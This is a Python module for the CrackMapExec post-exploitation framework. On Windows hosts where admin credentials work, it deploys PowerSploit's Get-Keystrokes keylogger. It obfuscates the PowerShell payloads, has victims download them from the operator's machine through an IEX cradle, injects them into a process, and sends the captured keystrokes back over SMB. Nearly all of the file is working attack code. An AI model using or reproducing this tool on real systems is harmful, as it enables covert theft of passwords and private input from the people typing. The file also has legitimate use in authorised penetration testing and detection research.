from cme.helpers.powershell import *
from cme.helpers.misc import gen_random_string
from cme.servers.smb import CMESMBServer
from gevent import sleep
from sys import exit
import os

class CMEModule:
    '''
        Executes PowerSploit's Get-Keystrokes script
        Module by @byt3bl33d3r
    '''

    name = 'get_keystrokes'
    description = "Logs keys pressed, time and the active window"
    supported_protocols = ['smb', 'mssql']
    opsec_safe = True
    multiple_hosts = True

    def options(self, context, module_options):
        '''
        TIMEOUT   Specifies the interval in minutes to capture keystrokes.
        STREAM    Specifies whether to stream the keys over the network (default: False)
        POLL      Specifies the interval in seconds to poll the log file (default: 20)
        '''

        if 'TIMEOUT' not in module_options:
            context.log.error('TIMEOUT option is required!')
            exit(1)

        self.stream  = False
        self.poll    = 20
        self.timeout = int(module_options['TIMEOUT'])

        if 'STREAM' in module_options:
            self.stream = bool(module_options['STREAM'])
        if 'POLL' in module_options:
            self.poll = int(module_options['POLL'])

        context.log.info('This module will not exit until CTRL-C is pressed')
        context.log.info('Keystrokes will be stored in ~/.cme/logs\n')

        self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
        self.ps_script2 = obfs_ps_script('powersploit/Exfiltration/Get-Keystrokes.ps1')

        if self.stream:
            self.share_name = gen_random_string(5).upper()
            self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path)
            self.smb_server.start()
        else:
            self.file_name = gen_random_string(5)

    def on_admin_login(self, context, connection):
        keys_folder = 'get_keystrokes_{}'.format(connection.host)

        if not self.stream:
            command = 'Get-Keystrokes -LogPath "$Env:Temp\\{}" -Timeout {}'.format(self.file_name, self.timeout)
        else:
            command = 'Get-Keystrokes -LogPath \\\\{}\\{}\\{}\\keys.log -Timeout {}'.format(context.localip, self.share_name, keys_folder, self.timeout)

        keys_command = gen_ps_iex_cradle(context, 'Get-Keystrokes.ps1', command, post_back=False)

        launcher = gen_ps_inject(keys_command, context)

        connection.ps_execute(launcher)
        context.log.success('Executed launcher')

        if not self.stream:
            users = connection.loggedon_users()
            keys_folder_path = os.path.join(context.log_folder_path, keys_folder)

            try:
                while True:
                    for user in users:
                        if '$' not in user.wkui1_username and os.path.exists(keys_folder_path):
                            keys_log = os.path.join(keys_folder_path, 'keys_{}.log'.format(user.wkui1_username))

                            with open(keys_log, 'a+') as key_file:
                                file_path = '/Users/{}/AppData/Local/Temp/{}'.format(user.wkui1_username, self.file_name)
                                try:
                                    connection.conn.getFile('C$', file_path, key_file.write)
                                    context.log.success('Got keys! Stored in {}'.format(keys_log))
                                except Exception as e:
                                    context.log.debug('Error retrieving key file contents from {}: {}'.format(file_path, e))

                    sleep(self.poll)
            except KeyboardInterrupt:
                pass

    def on_request(self, context, request):
        if 'Invoke-PSInject.ps1' == request.path[1:]:
            request.send_response(200)
            request.end_headers()

            request.wfile.write(self.ps_script1)

        elif 'Get-Keystrokes.ps1' == request.path[1:]:
            request.send_response(200)
            request.end_headers()

            # We received the callback, so lets setup the folder to store the keys
            keys_folder_path = os.path.join(context.log_folder_path, 'get_keystrokes_{}'.format(request.client_address[0]))
            if not os.path.exists(keys_folder_path): os.mkdir(keys_folder_path)

            request.wfile.write(self.ps_script2)
            request.stop_tracking_host()

        else:
            request.send_response(404)
            request.end_headers()

    def on_shutdown(self, context, connection):
        if self.stream:
            self.smb_server.shutdown()
